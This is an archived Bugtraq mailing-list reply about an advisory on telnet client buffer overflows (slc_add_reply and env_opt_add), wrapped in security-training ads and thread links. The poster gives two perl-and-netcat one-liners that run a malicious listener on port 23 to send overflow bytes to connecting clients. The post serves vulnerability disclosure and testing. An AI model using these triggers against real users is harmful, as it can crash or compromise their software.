Network Security: Detailed info on Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add

Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.

Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.

Network Security Bugtraq

[Top] [All Lists]

Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_

from [Tavis Ormandy] Network Security

[Permanent Link]

Subject:	Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability
Date:	Tue, 29 Mar 2005 01:18:09 +0100

On Tue, Mar 29, 2005 at 01:35:02AM +0400, Solar Designer wrote:

On Mon, Mar 28, 2005 at 01:09:38PM -0500, iDEFENSE Labs wrote:

Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability


FWIW, I've been using the following one-liner to trigger this overflow:

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23


here's one for the env_opt_add() vulnerability:

perl -e 'print 
"\xff\xfd\x27\xff\xfa\x27\x01\x03","\x01"x"128","A"x"64","\xff\xf0"' | nc -lp 23

-- 
-------------------------------------
taviso@sdf.lonestar.org | finger me for my gpg key.
-------------------------------------------------------

[More with this subject...]

<Prev in Thread]	Current Thread	[Next in Thread>
iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability, iDEFENSE Labs Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability, Solar Designer Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability, Tavis Ormandy <= Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability, Ga=EBl?= Delalleau

Previous by Date:	Re: TCP timestamp & advanced fingerprinting, Erwan Arzur
Next by Date:	Invision Power Board v2.0.3 XSS vulnerabilities, hoang yen
Previous by Thread:	Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability, Solar Designer
Next by Thread:	Re: iDEFENSE Security Advisory 03.28.05: Multiple Telnet Client slc_add_reply() Buffer Overflow Vulnerability, Ga=EBl?= Delalleau
Indexes:	[Date] [Thread] [Top] [All Lists]